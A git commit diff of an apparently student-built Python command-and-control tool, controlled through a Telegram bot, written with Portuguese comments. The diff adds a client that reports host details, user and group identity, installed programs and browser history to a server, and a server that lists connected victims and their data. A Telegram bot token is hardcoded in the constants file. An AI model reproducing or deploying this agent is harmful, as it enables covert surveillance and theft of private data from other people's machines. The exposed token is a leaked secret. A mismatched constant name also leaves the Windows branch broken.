Week 17, Update 03
This commit is contained in:
parent
fe6ce4e571
commit
622f5e556e
|
@ -41,6 +41,13 @@ def realizar_conexao():
|
|||
if (status_conexao != 0):
|
||||
server_sock.close()
|
||||
return
|
||||
|
||||
# Enviando informações do cliente
|
||||
try:
|
||||
server_sock.send(funcoes.obter_informacoes().encode(CHARSET))
|
||||
except:
|
||||
return
|
||||
|
||||
print("Conexão estabelecida com o servidor!")
|
||||
|
||||
while (continuar):
|
||||
|
@ -51,6 +58,7 @@ def realizar_conexao():
|
|||
parar_cliente()
|
||||
continue
|
||||
except:
|
||||
print("Conexão perdida com o servidor!")
|
||||
break
|
||||
|
||||
# Se o tamanho da mensagem recebida for menor que 1,
|
||||
|
@ -62,6 +70,8 @@ def realizar_conexao():
|
|||
# Analisando mensagem do servidor e preparando resposta
|
||||
if (mensagem_recebida == "alive?"):
|
||||
mensagem_retorno = "alive!".encode(CHARSET)
|
||||
elif ("./c2 -p" in mensagem_recebida):
|
||||
mensagem_retorno = funcoes.obter_programas().encode(CHARSET)
|
||||
elif ("./c2 -b" in mensagem_recebida):
|
||||
mensagem_retorno = funcoes.obter_historico().encode(CHARSET)
|
||||
elif ("./c2 -q" in mensagem_recebida):
|
||||
|
|
|
@ -23,12 +23,13 @@ import os
|
|||
|
||||
# Armazenando caminho completo do diretório desse programa para
|
||||
# funções que leem ou escrevem arquivos, token do bot
|
||||
# (@progredes_c2_bot) e endereço da API do Telegram, informações
|
||||
# de socket do servidor, tempo entre operações, codificação de
|
||||
# caracteres e opções do bot
|
||||
# (@progredes_c2_bot) e endereço da API do Telegram, tipo de
|
||||
# sistema operacional, informações de socket do servidor, tempo
|
||||
# entre operações, codificação de caracteres e opções do bot
|
||||
DIRETORIO_ATUAL = os.path.dirname(os.path.abspath(__file__))
|
||||
API_TOKEN = "6415239744:AAFAmiRsi_ZEa5OLuW1jny-pyBmYyu2GYZM"
|
||||
TELEGRAM_API = f"https://api.telegram.org/bot{API_TOKEN}"
|
||||
OS = os.name
|
||||
SOCKET_SERVIDOR = ("localhost", 50000)
|
||||
TIMEOUT = 10
|
||||
TAMANHO_BUFFER = 512
|
||||
|
|
|
@ -20,7 +20,14 @@
|
|||
|
||||
# Importando bibliotecas
|
||||
from constantes import *
|
||||
import os, socket, json, browser_history
|
||||
import os, socket, json, browser_history, time
|
||||
if (OS == "nt"):
|
||||
import winreg
|
||||
WINDOWS_KEYS = (
|
||||
"SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall",
|
||||
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall",
|
||||
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall"
|
||||
)
|
||||
|
||||
# Função para remover um arquivo no diretório local do programa
|
||||
def remover_arquivo(nome_arquivo: str):
|
||||
|
@ -59,10 +66,204 @@ def ehinteiro(numero: str):
|
|||
# Retorna False, casoa string não seja um número inteiro
|
||||
return False
|
||||
|
||||
# Função para obter total de ram de um cliente Windows
|
||||
def obter_ram():
|
||||
ram = 0
|
||||
for linha in os.popen("wmic memorychip get capacity | findstr /i /v \"capacity\"").readlines():
|
||||
if (linha != '\n'):
|
||||
ram += int(linha.strip())
|
||||
|
||||
return ram
|
||||
|
||||
# Função para retornar as informações de um cliente
|
||||
def obter_informacoes():
|
||||
retorno = ''
|
||||
if (OS == "nt"):
|
||||
retorno += os.popen("wmic cpu get name | findstr /i /v \"name\"").readlines()[0]
|
||||
retorno += f"{os.cpu_count()}\n"
|
||||
retorno += f"{obter_ram() / (1024 * 1024)} MiB\n"
|
||||
retorno += os.popen("wmic diskdrive get size | findstr /i /v \"size\"").readlines()[0]
|
||||
so = os.popen("systeminfo | findstr /i /c:\"os name\"").readlines()[0].split(':')[1].strip()
|
||||
retorno += f"{so}\n"
|
||||
retorno += f"{os.getlogin()}\n"
|
||||
retorno += f"{os.path.expanduser('~')}\n"
|
||||
retorno += "Informação desconhecida!\n"
|
||||
retorno += "Informação desconhecida!\n"
|
||||
retorno += "Informação desconhecida!\n"
|
||||
retorno += "Informação desconhecida!\n"
|
||||
retorno += f"{socket.gethostname()}"
|
||||
else:
|
||||
retorno += os.popen("uname -p").readlines()[0]
|
||||
retorno += f"{os.cpu_count()}\n"
|
||||
ram = int(os.popen("cat /proc/meminfo | grep -i \"memtotal:\"").readlines()[0].split(':')[1].strip().split()[0])
|
||||
retorno += f"{ram / 1024:.2f} MiB\n"
|
||||
disco = os.popen("df -h --output=size / | grep -iv \"size\"").readlines()[0].strip()
|
||||
retorno += f"{disco[:-1]} {disco[-1]}iB\n"
|
||||
retorno += os.popen("cat /etc/os-release | grep -i \"pretty_name\" | cut -d '=' -f 2 | tr -d '\"'").readlines()[0]
|
||||
retorno += f"{os.getlogin()}\n"
|
||||
retorno += f"{os.path.expanduser('~')}\n"
|
||||
retorno += os.popen("id -u").readlines()[0]
|
||||
retorno += os.popen("id -ng").readlines()[0]
|
||||
retorno += os.popen("id -nG").readlines()[0]
|
||||
retorno += os.popen("printf \"%s\\n\" ${SHELL}").readlines()[0]
|
||||
retorno += f"{socket.gethostname()}"
|
||||
|
||||
return retorno
|
||||
|
||||
# Função para retornar os clientes online
|
||||
def obter_clientes(clientes: list):
|
||||
retorno = "ID | IP e porta | Nome do host | Usuário logado | Tempo online\n"
|
||||
|
||||
identificador = 0
|
||||
for cliente in clientes:
|
||||
identificador += 1
|
||||
socket = cliente[2]["socket"]
|
||||
nome_host = cliente[2]["nome_host"]
|
||||
nome_usuario = cliente[2]["usuario"]
|
||||
diferenca_tempo = time.time() - cliente[2]["momento_conexao"]
|
||||
|
||||
horas = int(diferenca_tempo // (60 * 60))
|
||||
minutos = int((diferenca_tempo % (60 * 60)) // 60)
|
||||
segundos = int(diferenca_tempo % 60)
|
||||
tempo_online = f"{horas:02d}:{minutos:02d}:{segundos:02d}"
|
||||
|
||||
retorno += f"{identificador} | {socket} | {nome_host} | {nome_usuario} | {tempo_online}\n"
|
||||
|
||||
return retorno
|
||||
|
||||
# Função para retornar informações de hardware de um cliente
|
||||
def obter_hardware(clientes: list, index: int):
|
||||
nome_cpu = clientes[index][2]["nome_cpu"]
|
||||
nucleos_cpu = clientes[index][2]["nucleos_cpu"]
|
||||
ram = clientes[index][2]["ram"]
|
||||
disco = clientes[index][2]["disco"]
|
||||
so = clientes[index][2]["so"]
|
||||
|
||||
retorno = ''
|
||||
retorno += f"Socket (processador): {nome_cpu}\n"
|
||||
retorno += f"Threads (processadores lógicos): {nucleos_cpu}\n"
|
||||
retorno += f"Memória RAM (tamanho total): {ram}\n"
|
||||
retorno += f"Disco (tamanho total): {disco}\n"
|
||||
retorno += f"Sistema Operacional: {so}\n"
|
||||
|
||||
return retorno
|
||||
|
||||
# Função para retornar informações do usuário logado de um cliente
|
||||
def obter_usuario(clientes: list, index: int):
|
||||
usuario = clientes[index][2]["usuario"]
|
||||
home = clientes[index][2]["home"]
|
||||
uid = clientes[index][2]["uid"]
|
||||
grupo_principal = clientes[index][2]["grupo_principal"]
|
||||
grupos = clientes[index][2]["grupos"]
|
||||
shell = clientes[index][2]["shell"]
|
||||
|
||||
retorno = ''
|
||||
retorno += f"Usuário: {usuario}\n"
|
||||
retorno += f"Diretório home: {home}\n"
|
||||
retorno += f"UID (ID de usuário): {uid}\n"
|
||||
retorno += f"Grupo principal: {grupo_principal}\n"
|
||||
retorno += f"Grupos secundários: {grupos}\n"
|
||||
retorno += f"Shell: {shell}\n"
|
||||
|
||||
return retorno
|
||||
|
||||
# Função para ler o conteúdo de uma chave do registro do Windows
|
||||
def ler_chave(registro_chave, modo_leitura: int):
|
||||
# Armazenando função de enumeração com base no modo de leitura
|
||||
if (modo_leitura == 1):
|
||||
funcao = winreg.EnumKey
|
||||
elif (modo_leitura == 2):
|
||||
funcao = winreg.EnumValue
|
||||
|
||||
# Lendo todo o conteúdo da chave
|
||||
index = 0
|
||||
chaves = []
|
||||
while (True):
|
||||
try:
|
||||
chaves.append(funcao(registro_chave, index))
|
||||
index += 1
|
||||
except:
|
||||
break
|
||||
|
||||
return chaves
|
||||
|
||||
# Função para ler registro de um cliente Windows
|
||||
def ler_registro(diretorio_chave, caminho_chave):
|
||||
# Abrindo registro e chave do mesmo
|
||||
registro = winreg.ConnectRegistry(None, diretorio_chave)
|
||||
chave_registro = winreg.OpenKey(registro, caminho_chave)
|
||||
|
||||
# Enumerando subchaves
|
||||
for nome_subchave in ler_chave(chave_registro, 1):
|
||||
subchave = winreg.OpenKey(registro, f"{caminho_chave}\\{nome_subchave}")
|
||||
valores = {}
|
||||
|
||||
# Enumerando valores da subchave
|
||||
for valor_subchave in ler_chave(subchave, 2):
|
||||
valores[valor_subchave[0]] = valor_subchave[1]
|
||||
|
||||
return valores
|
||||
|
||||
# Função para retornar a lista de programas instalados em um
|
||||
# cliente Windows
|
||||
def programas_windows():
|
||||
programas = []
|
||||
for programa in ler_registro(winreg.HKEY_LOCAL_MACHINE, CHAVES_WINDOWS[0]), ler_registro(winreg.HKEY_LOCAL_MACHINE, CHAVES_WINDOWS[1]), ler_registro(winreg.HKEY_CURRENT_USER, CHAVES_WINDOWS[2]):
|
||||
if ("DisplayName" in programa):
|
||||
programas.append(programa["DisplayName"])
|
||||
|
||||
return sorted(programas)
|
||||
|
||||
# Função para retornar a lista de programas instalados em um
|
||||
# cliente Linux
|
||||
def programas_linux():
|
||||
# Baseados em Debian
|
||||
programas = os.popen("apt list 2> /dev/null").readlines()[1:]
|
||||
if (len(programas) > 2):
|
||||
return programas
|
||||
|
||||
# Baseados em RedHat
|
||||
programas = os.popen("dnf repoquery --qf \"%{name}.%{arch} %{version}.%{release} %{from_repo}\" --installed 2> /dev/null").readlines()
|
||||
if (len(programas) > 2):
|
||||
return programas
|
||||
|
||||
# Baseados em Arch
|
||||
programas = os.popen("pacman -Q 2> /dev/null").readlines()
|
||||
if (len(programas) > 2):
|
||||
return programas
|
||||
|
||||
# Baseados em Gentoo
|
||||
programas = os.popen("ls -d /var/db/pkg/*/* | cut -d '/' -f 5- 2> /dev/null").readlines()
|
||||
if (len(programas) > 2):
|
||||
return programas
|
||||
|
||||
return ["Não foi possível obter lista de programas instalados!\n"]
|
||||
|
||||
# Função para formatar a lista de programas instalados em um
|
||||
# cliente
|
||||
def formatar_lista_programas(programas: list):
|
||||
retorno = ''
|
||||
for programa in programas:
|
||||
retorno += f"{programa.strip()}\n"
|
||||
|
||||
return retorno
|
||||
|
||||
# Função para retornar os programas instalads em um cliente
|
||||
def obter_programas():
|
||||
if (OS == "nt"):
|
||||
retorno = formatar_lista_programas(programas_windows())
|
||||
else:
|
||||
retorno = formatar_lista_programas(programas_linux())
|
||||
|
||||
return retorno
|
||||
|
||||
# Função para retornar o histórico de navegação de um cliente
|
||||
def obter_historico():
|
||||
historico = json.loads(browser_history.get_history().to_json())["history"]
|
||||
|
||||
if (len(historico) > 100):
|
||||
historico = historico[-100:]
|
||||
|
||||
retorno = ''
|
||||
for index in historico:
|
||||
retorno += index["URL"] + '\n'
|
||||
|
|
|
@ -36,6 +36,26 @@ def cliente_existe_livre(index: int):
|
|||
|
||||
return False
|
||||
|
||||
# Função para receber dados de um cliente
|
||||
def receber_dados(index):
|
||||
# Recebendo dados até que o buffer recebido seja menor que o
|
||||
# tamanho máximo de buffer
|
||||
retorno = ''
|
||||
try:
|
||||
dados = clientes[index][0][0].recv(TAMANHO_BUFFER).decode(CHARSET)
|
||||
except:
|
||||
return ''
|
||||
retorno += dados
|
||||
|
||||
while (not len(dados) < TAMANHO_BUFFER):
|
||||
try:
|
||||
dados = clientes[index][0][0].recv(TAMANHO_BUFFER).decode(CHARSET)
|
||||
except:
|
||||
return ''
|
||||
retorno += dados
|
||||
|
||||
return retorno
|
||||
|
||||
# Função para testar se um cliente, identificado pelo seu índice,
|
||||
# está online
|
||||
def cliente_online(index: int):
|
||||
|
@ -54,27 +74,15 @@ def cliente_online(index: int):
|
|||
try:
|
||||
clientes[index][0][0].send("alive?".encode(CHARSET))
|
||||
except:
|
||||
clientes[index][1].release()
|
||||
print(f"Cliente {clientes[index][0][1]} desconectado!")
|
||||
clientes[index][0][0].close()
|
||||
clientes.pop(index)
|
||||
return index
|
||||
|
||||
# Tentando obter resposta do cliente e, em caso de exceção,
|
||||
# destrava-se as transmissões do cliente, finaliza-se o socket do
|
||||
# cliente, remove-se o mesmo da lista de clientes e retorna-se o
|
||||
# índice
|
||||
try:
|
||||
resposta = clientes[index][0][0].recv(TAMANHO_BUFFER).decode(CHARSET)
|
||||
except:
|
||||
print(f"Cliente {clientes[index][0][1]} desconectado!")
|
||||
clientes[index][0][0].close()
|
||||
clientes.pop(index)
|
||||
return index
|
||||
|
||||
# Se o tamanho da resposta do cliente for menor que 1, finaliza-se
|
||||
# o socket do cliente, remove-se o mesmo da lista de clientes e
|
||||
# retorna-se o índice
|
||||
# Obtendo resposta do cliente e , se o tamanho da resposta do
|
||||
# cliente for menor que 1, finaliza-se o socket do cliente,
|
||||
# remove-se o mesmo da lista de clientes e retorna-se o índice
|
||||
resposta = receber_dados(index)
|
||||
if (len(resposta) < 1):
|
||||
print(f"Cliente {clientes[index][0][1]} desconectado!")
|
||||
clientes[index][0][0].close()
|
||||
|
@ -147,10 +155,32 @@ def gerenciar_servidor():
|
|||
clientes.append([server_sock.accept(), threading.Lock()])
|
||||
except:
|
||||
continue
|
||||
|
||||
# Obtendo e armazenando informações do cliente recém-conectado
|
||||
clientes[-1][1].acquire()
|
||||
informacoes = receber_dados(-1).split('\n')
|
||||
if (len(informacoes) < 2):
|
||||
clientes[-1][0][0].close()
|
||||
clientes.pop(-1)
|
||||
continue
|
||||
clientes[-1].append({
|
||||
"momento_conexao": time.time(),
|
||||
"ultima_verificacao": 0
|
||||
"ultima_verificacao": 0,
|
||||
"socket": f"{clientes[-1][0][1][0]}:{clientes[-1][0][1][1]}",
|
||||
"nome_cpu": informacoes[0],
|
||||
"nucleos_cpu": informacoes[1],
|
||||
"ram": informacoes[2],
|
||||
"disco": informacoes[3],
|
||||
"so": informacoes[4],
|
||||
"usuario": informacoes[5],
|
||||
"home": informacoes[6],
|
||||
"uid": informacoes[7],
|
||||
"grupo_principal": informacoes[8],
|
||||
"grupos": informacoes[9],
|
||||
"shell": informacoes[10],
|
||||
"nome_host": informacoes[11]
|
||||
})
|
||||
clientes[-1][1].release()
|
||||
|
||||
print(f"Cliente {clientes[-1][0][1]} conectado!")
|
||||
|
||||
|
@ -172,6 +202,8 @@ def aguardar_verificacao(index: int):
|
|||
# Função para responder mensagem informando desconexão de cliente
|
||||
# e finalizar o socket do mesmo
|
||||
def informar_desconectado(index: int, retorno: dict):
|
||||
global clientes
|
||||
|
||||
retorno["text"] = f"Cliente {clientes[index][0][1]} desconectado!"
|
||||
requisicoes.responder_mensagem(retorno)
|
||||
print(f"Cliente {clientes[index][0][1]} desconectado!")
|
||||
|
@ -180,26 +212,6 @@ def informar_desconectado(index: int, retorno: dict):
|
|||
|
||||
return
|
||||
|
||||
# Função para receber dados de um cliente
|
||||
def receber_dados(index):
|
||||
# Recebendo dados até que o buffer recebido seja menor que o
|
||||
# tamanho máximo de buffer
|
||||
retorno = ''
|
||||
try:
|
||||
dados = clientes[index][0][0].recv(TAMANHO_BUFFER).decode(CHARSET)
|
||||
except:
|
||||
raise Exception()
|
||||
retorno += dados
|
||||
|
||||
while (not len(dados) < TAMANHO_BUFFER):
|
||||
try:
|
||||
dados = clientes[index][0][0].recv(TAMANHO_BUFFER).decode(CHARSET)
|
||||
except:
|
||||
raise Exception()
|
||||
retorno += dados
|
||||
|
||||
return retorno
|
||||
|
||||
def main():
|
||||
# Armazenando, globalmente, variável de continuidade da execução
|
||||
# do servidor e lista de clientes
|
||||
|
@ -274,7 +286,7 @@ def main():
|
|||
requisicoes.responder_mensagem(retorno)
|
||||
continue
|
||||
elif (tokens[1] == "-l"):
|
||||
retorno["text"] = "./c2 -l"
|
||||
retorno["text"] = funcoes.obter_clientes(clientes)
|
||||
requisicoes.responder_mensagem(retorno)
|
||||
continue
|
||||
elif (tokens[1] == "-s"):
|
||||
|
@ -306,6 +318,14 @@ def main():
|
|||
Digite `./c2 -l` para obter a lista de IDs disponíveis"""
|
||||
requisicoes.responder_mensagem(retorno)
|
||||
continue
|
||||
elif (tokens[1] == "-d"):
|
||||
retorno["text"] = funcoes.obter_hardware(clientes, index)
|
||||
requisicoes.responder_mensagem(retorno)
|
||||
continue
|
||||
elif (tokens[1] == "-u"):
|
||||
retorno["text"] = funcoes.obter_usuario(clientes, index)
|
||||
requisicoes.responder_mensagem(retorno)
|
||||
continue
|
||||
|
||||
# Testando se o cliente está disponível para receber mensagem e,
|
||||
# se o mesmo deixar de existir, informa-se desconexão do mesmo
|
||||
|
@ -324,17 +344,9 @@ Digite `./c2 -l` para obter a lista de IDs disponíveis"""
|
|||
informar_desconectado(index, retorno)
|
||||
continue
|
||||
|
||||
# Tentando receber mensagem do cliente e, em caso de exceção,
|
||||
# destrava-se as transmissões para o mesmo e informa-se desconexão
|
||||
# do mesmo
|
||||
try:
|
||||
retorno["text"] = receber_dados(index)
|
||||
except:
|
||||
informar_desconectado(index, retorno)
|
||||
continue
|
||||
|
||||
# Se o tamanho da resposta for menor que 1, informa-se desconexão
|
||||
# do cliente
|
||||
# Obtendo resposta do cliente e, se o tamanho da resposta for
|
||||
# menor que 1, informa-se desconexão do cliente
|
||||
retorno["text"] = receber_dados(index)
|
||||
if (len(retorno["text"]) < 1):
|
||||
informar_desconectado(index, retorno)
|
||||
continue
|
||||
|
|
Loading…
Reference in New Issue